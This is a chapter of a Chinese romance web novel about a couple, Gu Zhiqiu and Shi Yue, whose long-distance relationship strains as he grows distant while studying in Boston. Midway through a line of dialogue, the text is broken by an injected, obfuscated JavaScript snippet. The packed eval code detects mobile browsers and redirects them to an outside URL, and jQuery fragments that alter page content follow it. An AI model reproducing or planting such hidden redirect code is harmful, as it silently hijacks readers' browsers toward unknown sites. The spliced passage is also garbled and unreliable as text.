异国的日子，比预想中的要顺利得多。当然这样的顺利，总要有一些额外的努力和牺牲的。


    比如，顾知秋刚结束小组讨论，手机就震动起来。接通后，屏幕那头是昏暗的光线和时越乱糟糟的头发，原来是时越今天白天没什么时间，特意定了早晨四点半的闹钟跟她视频。


    她看着镜头里那张睡意惺忪的脸，声音压低了几分：“怎么这么早就起来了？要不再睡会？”


    “不要。”他把脸埋进枕头，声音闷闷的，“今天没空找你了，现在想看看你。”


    “那你去洗把脸，回来我陪你吃早餐。”在时越听来，此刻的她声音温柔像羽毛，轻轻拂过他的耳廓，有点痒。


    “那视频先不挂。”他一副要醒未醒的模样，与平时的样子大不相同，格外的黏人。把手机架在桌子旁边后，他真的起身去用冷水扑了脸。再回来时，整个人精神了不少，方才那点委屈也烟消云散了。


    “对了，老食堂又有新的黑暗料理了，‘橘子炒芹菜’，一会去食堂还有的话我拍给你看看。”


    “你要不要身先士卒，先尝尝味道如何？”时越逗她。


    “不要，这么特别的菜，必须要等你回来一起分享。我不能独食。”顾知秋义正言辞，“是不是对你很好，绝对是你的亲女朋友。”


    “没错！谢谢亲女朋友，我一定会好好珍惜！”


    两个人隔着屏幕有一搭没一搭的聊着。看着他清爽的脸，这些琐碎又无聊的日常，像针线一样，努力将两人因为物理距离拉开的世界，重新连接到了一起，填补了生活中没有彼此的巨大空白。


    —


    周五晚上，顾知秋没有住宿舍，去了时越家。偶尔她需要赶稿或是赶论文的时候，这里是最适合的空间。差不多晚上十一点，她保存好文档，合上笔记本电脑，活动了一下僵硬的肩膀。


    走到客厅沙发，疲惫地向后一仰，整个人蜷躺到上面。身上盖着的，还是之前两人经常用的那条灰色绒毯，毯子上熟悉气息，瞬间将她包裹。她看了眼时间，现在时越应该是刚结束一节课，正在去实验室的路上。她拿出手机，发去一条消息：


    【本周赶稿工作室差评，没有现成的水果吃！】


    对方几乎是秒回，那熟悉的头像立刻跳动起来：【本工作室的核心工作人员目前状态：还在被时差硬控中。申请一个拥抱充电。】


    顾知秋看着屏幕笑了，可鼻子却没来由地有点发酸。她吸了吸鼻子，【准了！】


    随即，认真地在表情包列表里，找到了那个最常用的“抱抱”的表情，发送了过去。


    分开伊始，两个人都在各自努力着减少距离带来的阻碍，让横跨东西半球的十二小时时差带来的障碍，不那么难以跨越。


    —


    周末的晚上，顾知秋抱着笔记本窝在沙发里，时越则坐在宿舍的书桌前，两人久违地开着共享视屏，看起《初恋50次》。这是顾知秋选的电影。


    电影放到男主亨利，为了赢得失忆的女主露西的芳心，不得不每天变着花样与她“初次邂逅”。她窝在沙发里，看着屏幕里男主那些千奇百怪的“初见”方式，无比惬意安心。


    屏幕那头，时越的声音传来：“我现在非常能理解他的心情。”


    “嗯？”她一时没反应过来。


    “你看我们，每天醒来都要隔着十二小时，重新遇见一次。我得想想，今天该用什么新话题，才能让屏幕里这位顾知秋小姐，可以觉得更开心点。”


    “不得了，时越同学，”她佯装生气地嗔道，眼角的笑意却藏不住，“这已经完全掌握资本主义的糖衣炮弹的精髓了呀！”


    当剧情进行到到亨利决定用录像带，每天清晨向露西讲述他们的故事时，刚才还笑闹不停的两人，默契地安静了下来。


    顾知秋看着屏幕里亨利温柔而耐心的样子，轻轻开口，声音不自觉地软了下来：“时越……”


    “嗯？”


    “如果……我是说如果，我哪天醒来也什么都不记得了，你会像他一样吗？”


    屏幕那头的时越沉默了两秒，眼神透过镜头变得无比专注，仿佛真的在思考一个需要给出解决方案的课题：


    “我不会让你忘记的。”


    “我会准备的更周全，建立一个系统，或者一个唤醒程序。”


    “把我们所有在一起的证据，像我们的照片、聊天记录、之前发生在我们之间的大大小小的事情，全部整理存档。每天早晨，在你醒来之前，让它们按照时间线，清晰地呈现在你面前。”


    他无比认真地补充道：“这样一来，我们在一起这件事，就会是你每天醒来都无可辩驳的事实。”


    顾知秋吸了吸鼻子，用一种半开玩笑的语气来掩饰自己有些触动的情绪：


    “那你的系统内存可得准备得大一点。我怕我们未来的证据，会多到超出你的处理范围。”


    看完电影后，她发了张照片给他，配文【一条新证据，一会我会上传到空间我们那个相册里。】照片是她昨天拍的，当时路灯刚刚亮起，照亮了窗外金黄的银杏叶，仿佛整条街道都镀上了一层温柔的光晕。


    照片发送成功。过了一会儿，他也发来一张照片：【新证据第二条，新拍的查尔斯河，见证了我们共同度过的一个夜晚。】


    顾知秋把那张照片保存下来，设置为屏幕壁纸。仿佛这样真的能感受到另一个半球的那个时空的温度。她想，这大概就是异地恋里，最笨拙也最真诚的方式了吧，他们共同努力着，努力将一万公里的距离，浓缩进一小小的屏幕里。


    他们维持着这份跨越时差的连接，期盼这样就能抵消距离带来的所有问题。然而，这样浪漫的夜晚，并没能持续太久。两人的下一次视频，已是是十一月了。


    顾知秋坐在宿舍阳台，阳光暖融融地照在身上。时越在宿舍里，穿着一件灰色的宽松T恤，整个人陷在椅子里，仿佛又变得跟高中刚认识时那般沉默。


    她讲着编剧课上的趣事，讲室友的糗事，他大多时候只是“嗯”、“是么”地应着，偶尔扯扯嘴角。渐渐顾知秋停了话头。她注意到，他放在桌上的左手，无意识地在桌面上反复敲打着，整个人看起来很焦躁。


    “时越，”她收敛了笑意，语气认真起来，“你那边……是不是不太顺利？”


    屏幕里的他沉默了几秒，视线没有焦点地落在虚空处，喉结滚动了一下。


    “没什么事。”他声音更低了些，视线从屏幕上移开，“就是，数据跑得不顺利，所


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16648272|181043||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    以最近忙了点。对不起，只只。”


    “我不知道问题到底出在哪里，坚持下去有什么意义。”他低声说，像是一句疲惫至极的呓语。


    可下一秒，又像是骤然惊醒，飞快地扯出一个勉强的笑容，生硬地切换了话题：“没事，其实就是个小bug，一直没能修复好。对了，你刚才说，你模拟考是哪天？”


    说到最后，两人都陷入了沉默，这通电话就这么莫名结束了。


    接下来的日子，顾知秋更是能清晰地感觉到这种陌生的氛围在持续。


    她早上发的“早安”，要到中午才能收到一个“早”字。她分享网上看到的有意思的内容，他可能隔天才会回一句“看着挺好玩的。”


    再后来，时越的消息开始变得简短而间隔拉长。沟通的频率和温度，都在无可挽回地下坠。


    最初是几小时的延迟回复，后来变成一整天没有音讯。顾知秋告诉自己他在适应新环境，课程压力大是正常的。但当她连续三天只收到“晚点聊”这样的回复时，她闲下来的时候，会没来由的乱想。


    又是一个周末晚上，顾知秋结束培训回到时越家，发现手机里依然没有他的消息。她犹豫了一会儿，给他发了一条：【一切都好吗？】


    她发完后将手机放在茶几上，打开电视随便调到一个综艺节目。主持人夸张的笑声充斥着房间，却驱散不了那种逐渐蔓延的无力感。


    她走到厨房，从冰箱里拿出半盒牛奶，发现已经过期两天了。以前都是时越负责检查这些。她盯着牛奶盒发呆，突然觉得公寓安静得可怕，没有键盘敲击声，没有翻书声，没有他偶尔问自己"要不要喝水"的声音。


    回到沙发上，她无聊地打开相册，翻到他们暑假在青岛拍的照片。照片里的时越站在海边，笑容明亮得像是能驱散所有阴霾。顾知秋心猛地一抽，现在的时越呢？是怎样的状态？


    再次手机，和时越的对话栏，没有任何新动向。【别太累！】【我一直都在的！】她不放心又加了两条。


    顾知秋随即走到阳台上。夜风带着凉意拂过她的脸颊，远处城市的灯光像星辰般闪烁。她想起时越离开的前一天，也是这样星星璀璨的夜晚，他们站在阳台上谈论波士顿的星空跟京市会不会有什么不同。可现在的他，却似乎比星星的距离还要遥远。


    是他的学业压力真的那么大，大到连打一行字的力气都没有了？又或者，有什么是她根本不知道的、或是更糟糕的事情？


    几天后的一个下午，顾知秋是被手机一阵微弱的震动惊醒的。下午没课，她也是心力交瘁的状态，留在宿舍补眠。窗帘拉上，整个宿舍昏暗又安静，只有手机的震动声。


    她迷迷糊糊地从枕头下抓过手机，按亮屏幕。刺眼的光让她眯起眼睛，看到是时越发来的语音电话。


    这个时间点？


    她惊得坐起，睡意已经消了一大半，点了接听键，把手机赶忙贴在耳边。


    听筒没有声音，她调大了音量，很快传来的是压抑的又沉重呼吸，仿佛是谁在极度疲惫的情况下，奋力挣扎着才发出来的。


    “时越？”


    谁知这时候通话突然被挂断，声音戛然而止。


    顾知秋再打过去，却迟迟不被接起。